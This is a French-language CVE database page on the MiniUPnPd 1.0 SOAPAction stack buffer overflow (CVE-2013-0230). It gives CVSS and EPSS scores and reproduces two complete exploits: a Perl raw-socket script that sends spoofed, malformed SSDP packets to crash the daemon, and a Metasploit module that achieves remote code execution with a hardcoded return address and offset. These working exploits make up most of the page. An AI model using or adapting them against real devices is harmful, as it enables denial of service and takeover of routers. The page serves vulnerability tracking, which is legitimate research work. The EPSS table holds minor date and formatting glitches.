CPE, qui signifie Common Platform Enumeration, est un système normalisé de dénomination du matériel, des logiciels et des systèmes d'exploitation. CPE fournit un schéma de dénomination structuré pour identifier et classer de manière unique les systèmes informatiques, les plates-formes et les progiciels sur la base de certains attributs tels que le fournisseur, le nom du produit, la version, la mise à jour, l'édition et la langue.
CWE, ou Common Weakness Enumeration, est une liste complète et une catégorisation des faiblesses et des vulnérabilités des logiciels. Elle sert de langage commun pour décrire les faiblesses de sécurité des logiciels au niveau de l'architecture, de la conception, du code ou de la mise en œuvre, qui peuvent entraîner des vulnérabilités.
CAPEC, qui signifie Common Attack Pattern Enumeration and Classification (énumération et classification des schémas d'attaque communs), est une ressource complète, accessible au public, qui documente les schémas d'attaque communs utilisés par les adversaires dans les cyberattaques. Cette base de connaissances vise à comprendre et à articuler les vulnérabilités communes et les méthodes utilisées par les attaquants pour les exploiter.
Services & Prix
Aides & Infos
Recherche de CVE id, CWE id, CAPEC id, vendeur ou mots clés dans les CVE
Stack-based buffer overflow in the ExecuteSoapAction function in the SOAPAction handler in the HTTP service in MiniUPnP MiniUPnPd 1.0 allows remote attackers to execute arbitrary code via a long quoted method.
Improper Restriction of Operations within the Bounds of a Memory Buffer The product performs operations on a memory buffer, but it reads from or writes to a memory location outside the buffer's intended boundary. This may result in read or write operations on unexpected memory locations that could be linked to other variables, data structures, or internal program data.
Métriques
Métriques
Score
Gravité
CVSS Vecteur
Source
V2
10
AV:N/AC:L/Au:N/C:C/I:C/A:C
nvd@nist.gov
EPSS
EPSS est un modèle de notation qui prédit la probabilité qu'une vulnérabilité soit exploitée.
Score EPSS
Le modèle EPSS produit un score de probabilité compris entre 0 et 1 (0 et 100 %). Plus la note est élevée, plus la probabilité qu'une vulnérabilité soit exploitée est grande.
Date
EPSS V0
EPSS V1
EPSS V2 (> 2022-02-04)
EPSS V3 (> 2025-03-07)
EPSS V4 (> 2025-03-17)
2022-02-06
–
–
79.55%
–
–
2023-01-15
–
–
78%
–
–
2023-03-12
–
–
–
93.2%
–
2023-03-26
–
–
–
92.27%
–
2023-07-02
–
–
–
92.27%
–
2023-10-22
–
–
–
91.71%
–
2023-12-24
–
–
–
90.59%
–
2024-02-25
–
–
–
88.12%
–
2024-06-02
–
–
–
88.12%
–
2024-06-30
–
–
–
85.9%
–
2024-12-22
–
–
–
75.97%
–
2024-12-29
–
–
–
80.43%
–
2025-02-23
–
–
–
78.28%
–
2025-01-19
–
–
–
80.43%
–
2025-02-23
–
–
–
78.28%
–
2025-03-18
–
–
–
–
77.38%
2025-03-18
–
–
–
–
77.38,%
Percentile EPSS
Le percentile est utilisé pour classer les CVE en fonction de leur score EPSS. Par exemple, une CVE dans le 95e percentile selon son score EPSS est plus susceptible d'être exploitée que 95 % des autres CVE. Ainsi, le percentile sert à comparer le score EPSS d'une CVE par rapport à d'autres CVE.
Date de publication : 2015-07-06 22h00 +00:00 Auteur : Todor Donev EDB Vérifié : No
#!/usr/bin/perl
#
# miniupnpd/1.0 remote denial of service exploit
#
# Copyright 2015 (c) Todor Donev
# todor.donev@gmail.com
# http://www.ethical-hacker.org/
# https://www.facebook.com/ethicalhackerorg
#
# The SSDP protocol can discover Plug & Play devices,
# with uPnP (Universal Plug and Play). SSDP is HTTP
# like protocol and work with NOTIFY and M-SEARCH
# methods.
#
# See also:
# CVE-2013-0229
# http://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2013-0229
# CVE-2013-0230
# http://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2013-0230
#
# Tested on
# Device Name : IMW-C920W
# Device Manufacturer : INFOMARK (http://infomark.co.kr)
#
# These devices are commonly used by Max Telecom, Bulgaria
#
# Disclaimer:
# This or previous program is for Educational
# purpose ONLY. Do not use it without permission.
# The usual disclaimer applies, especially the
# fact that Todor Donev is not liable for any
# damages caused by direct or indirect use of the
# information or functionality provided by these
# programs. The author or any Internet provider
# bears NO responsibility for content or misuse
# of these programs or any derivatives thereof.
# By using these programs you accept the fact
# that any damage (dataloss, system crash,
# system compromise, etc.) caused by the use
# of these programs is not Todor Donev's
# responsibility.
#
# Use at your own risk!
#
# See also:
# SSDP Reflection DDoS Attacks
# http://tinyurl.com/mqwj6xt
#
#######################################
#
# # perl miniupnpd.pl
#
# [ miniupnpd/1.0 remote denial of service exploit ]
# [ =============================================== ]
# [ Usage:
# [ ./miniupnpd.pl <victim address> <spoofed address>
# [ Example:
# [ perl miniupnpd.pl 192.168.1.1 133.73.13.37
# [ Example:
# [ perl miniupnpd.pl 192.168.1.1
# [ =============================================== ]
# [ 2015 <todor.donev@gmail.com> Todor Donev 2015 ]
#
# # nmap -sU 192.168.1.1 -p1900 --script=upnp-info
#
# Starting Nmap 5.51 ( http://nmap.org ) at 0000-00-00 00:00 EEST
# Nmap scan report for 192.168.1.1
# Host is up (0.00078s latency).
# PORT STATE SERVICE
# 1900/udp open upnp
# | upnp-info:
# | 192.168.1.1
# | Server: 1.0 UPnP/1.0 miniupnpd/1.0
# | Location: http://192.168.1.1:5000/rootDesc.xml
# | Webserver: 1.0 UPnP/1.0 miniupnpd/1.0
# | Name: INFOMARK Router
# | Manufacturer: INFOMARK
# | Model Descr: INFOMARK Router
# | Model Name: INFOMARK Router
# | Model Version: 1
# | Name: WANDevice
# | Manufacturer: MiniUPnP
# | Model Descr: WAN Device
# | Model Name: WAN Device
# | Model Version: 20070228
# | Name: WANConnectionDevice
# | Manufacturer: MiniUPnP
# | Model Descr: MiniUPnP daemon
# | Model Name: MiniUPnPd
# |_ Model Version: 20070228
# MAC Address: 00:00:00:00:00:00 (Infomark Co.) // CENSORED
#
# Nmap done: 1 IP address (1 host up) scanned in 0.39 seconds
#
# # perl miniupnpd.pl 192.168.1.1
#
# [ miniupnpd/1.0 remote denial of service exploit ]
# [ =============================================== ]
# [ Target: 192.168.1.1
# [ Send malformed SSDP packet..
#
# # nmap -sU 192.168.1.1 -p1900
#
# Starting Nmap 5.51 ( http://nmap.org ) at 0000-00-00 00:00 EEST
# Nmap scan report for 192.168.1.1
# Host is up (0.00085s latency).
# PORT STATE SERVICE
# 1900/udp closed upnp // GOOD NIGHT, SWEET PRINCE.... :D
# MAC Address: 00:00:00:00:00:00 (Infomark Co.) // CENSORED
#
# Nmap done: 1 IP address (1 host up) scanned in 0.16 seconds
#
#
# Special thanks to HD Moore ..
#
use Socket;
if ( $< != 0 ) {
print "Sorry, must be run as root!\n";
print "This script use RAW Socket.\n";
exit;
}
my $ip_src = (gethostbyname($ARGV[1]))[4];
my $ip_dst = (gethostbyname($ARGV[0]))[4];
print "\n[ miniupnpd/1.0 remote denial of service exploit ]\n";
print "[ =============================================== ]\n";
select(undef, undef, undef, 0.40);
if (!defined $ip_dst) {
print "[ Usage:\n[ ./$0 <victim address> <spoofed address>\n";
select(undef, undef, undef, 0.55);
print "[ Example:\n[ perl $0 192.168.1.1 133.73.13.37\n";
print "[ Example:\n[ perl $0 192.168.1.1\n";
print "[ =============================================== ]\n";
print "[ 2015 <todor.donev\@gmail.com> Todor Donev 2015 ]\n\n";
exit;
}
socket(RAW, PF_INET, SOCK_RAW, 255) or die $!;
setsockopt(RAW, 0, 1, 1) or die $!;
main();
# Main program
sub main {
my $packet;
$packet = iphdr();
$packet .= udphdr();
$packet .= payload();
# b000000m...
send_packet($packet);
}
# IP header (Layer 3)
sub iphdr {
my $ip_ver = 4; # IP Version 4 (4 bits)
my $iphdr_len = 5; # IP Header Length (4 bits)
my $ip_tos = 0; # Differentiated Services (8 bits)
my $ip_total_len = $iphdr_len + 20; # IP Header Length + Data (16 bits)
my $ip_frag_id = 0; # Identification Field (16 bits)
my $ip_frag_flag = 000; # IP Frag Flags (R DF MF) (3 bits)
my $ip_frag_offset = 0000000000000; # IP Fragment Offset (13 bits)
my $ip_ttl = 255; # IP TTL (8 bits)
my $ip_proto = 17; # IP Protocol (8 bits)
my $ip_checksum = 0; # IP Checksum (16 bits)
my $ip_src=gethostbyname(&randip) if !$ip_src; # IP Source (32 bits)
# IP Packet construction
my $iphdr = pack(
'H2 H2 n n B16 h2 c n a4 a4',
$ip_ver . $iphdr_len, $ip_tos, $ip_total_len,
$ip_frag_id, $ip_frag_flag . $ip_frag_offset,
$ip_ttl, $ip_proto, $ip_checksum,
$ip_src, $ip_dst
);
return $iphdr;
}
# UDP header (Layer 4)
sub udphdr {
my $udp_src_port = 31337; # UDP Sort Port (16 bits) (0-65535)
my $udp_dst_port = 1900; # UDP Dest Port (16 btis) (0-65535)
my $udp_len = 8 + length(payload()); # UDP Length (16 bits) (0-65535)
my $udp_checksum = 0; # UDP Checksum (16 bits) (XOR of header)
# UDP Packet
my $udphdr = pack(
'n n n n',
$udp_src_port, $udp_dst_port,
$udp_len, $udp_checksum
);
return $udphdr;
}
# Create SSDP Bomb
sub payload {
my $data;
my $head;
$data = "M-SEARCH * HTTP\/1.1\\r\\n";
for (0..1260) { $data .= chr( int(rand(25) + 65) ); }
my $payload = pack('a' . length($data), $data);
return $payload;
}
# Generate random source ip address
sub randip () {
srand(time() ^ ($$ + ($$ << 15)));
my $ipdata;
$ipdata = join ('.', (int(rand(255)), int(rand(255)), int(rand(255)), int(rand(255)))), "\n";
my $ipsrc = pack('A' . length($ipdata), rand($ipdata));
return $ipdata;
}
# Send the malformed packet
sub send_packet {
print "[ Target: $ARGV[0]\n";
select(undef, undef, undef, 0.30);
print "[ Send malformed SSDP packet..\n\n";
send(RAW, $_[0], 0, pack('Sna4x8', PF_INET, 60, $ip_dst)) or die $!;
}
Date de publication : 2013-06-04 22h00 +00:00 Auteur : Metasploit EDB Vérifié : Yes
##
# This file is part of the Metasploit Framework and may be subject to
# redistribution and commercial restrictions. Please see the Metasploit
# web site for more information on licensing and terms of use.
# http://metasploit.com/
##
require 'msf/core'
class Metasploit3 < Msf::Exploit::Remote
include Msf::Exploit::Remote::HttpClient
Rank = NormalRanking
def initialize(info = {})
super(update_info(info,
'Name' => 'MiniUPnPd 1.0 Stack Buffer Overflow Remote Code Execution',
'Description' => %q{
This module exploits the MiniUPnP 1.0 SOAP stack buffer overflow vulnerability
present in the SOAPAction HTTP header handling.
},
'Author' =>
[
'hdm', # Vulnerability discovery
'Dejan Lukan' # Metasploit module
],
'License' => MSF_LICENSE,
'DefaultOptions' => { 'EXITFUNC' => 'process', },
# the byte '\x22' is the '"' character and the miniupnpd scans for that character in the
# input, which is why it can't be part of the shellcode (otherwise the vulnerable part
# of the program is never reached)
'Payload' =>
{
'Space' => 2060,
'BadChars' => "\x00\x22",
'DisableNops' => true
},
'Platform' => 'linux',
'References' =>
[
[ 'CVE', '2013-0230' ],
[ 'OSVDB', '89624' ],
[ 'BID', '57608' ],
[ 'URL', 'https://community.rapid7.com/community/infosec/blog/2013/01/29/security-flaws-in-universal-plug-and-play-unplug-dont-play']
],
'Targets' =>
[
[ 'Debian GNU/Linux 6.0 / MiniUPnPd 1.0',
{
'Ret' => 0x0804ee43, # pop ebp # ret # from miniupnpd
'Offset' => 2123
}
],
],
'DefaultTarget' => 0,
'Privileged' => false,
'DisclosureDate' => 'Mar 27 2013',
))
register_options([
Opt::RPORT(5555),
], self.class)
end
def exploit
#
# Build the SOAP Exploit
#
# jmp 0x2d ; jump forward 0x2d bytes (jump right after the '#' char)
sploit = "\xeb\x2d"
# a valid action
sploit += "n:schemas-upnp-org:service:WANIPConnection:1#"
# payload
sploit += payload.encoded
# nops
sploit += rand_text(target['Offset'] - sploit.length - 16)
# overwrite registers on stack: the values are not used, so we can overwrite them with anything
sploit += rand_text(4) # overwrite EBX
sploit += rand_text(4) # overwrite ESI
sploit += rand_text(4) # overwrite EDI
sploit += rand_text(4) # overwrite EBP
# Overwrite EIP with addresss of "pop ebp, ret", because the second value on the
# stack points directly to the string after 'Soapaction: ', which is why we must
# throw the first value on the stack away, which we're doing with the pop ebp
# instruction. Then we're returning to the next value on the stack, which is
# exactly the address that we want.
sploit += [target.ret].pack('V')
# the ending " character is necessary for the vulnerability to be reached
sploit += "\""
# data sent in the POST body
data =
"<?xml version='1.0' encoding=\"UTF-8\"?>\r\n" +
"<SOAP-ENV:Envelope\r\n" +
" SOAP-ENV:encodingStyle=\"http://schemas.xmlsoap.org/soap/encoding/\"\r\n" +
" xmlns:SOAP-ENC=\"http://schemas.xmlsoap.org/soap/encoding/\"\r\n" +
" xmlns:SOAP-ENV=\"http://schemas.xmlsoap.org/soap/envelope/\"\r\n" +
">\r\n" +
"<SOAP-ENV:Body>\r\n" +
"<ns1:action xmlns:ns1=\"urn:schemas-upnp-org:service:WANIPConnection:1\" SOAP-ENC:root=\"1\">\r\n" +
"</ns1:action>\r\n" +
"</SOAP-ENV:Body>\r\n" +
"</SOAP-ENV:Envelope>\r\n"
#
# Build and send the HTTP request
#
print_status("Sending exploit to victim #{target.name} at ...")
send_request_cgi({
'method' => 'POST',
'uri' => "/",
'headers' => {
'SOAPAction' => sploit,
},
'data' => data,
})
# disconnect from the server
disconnect
end
end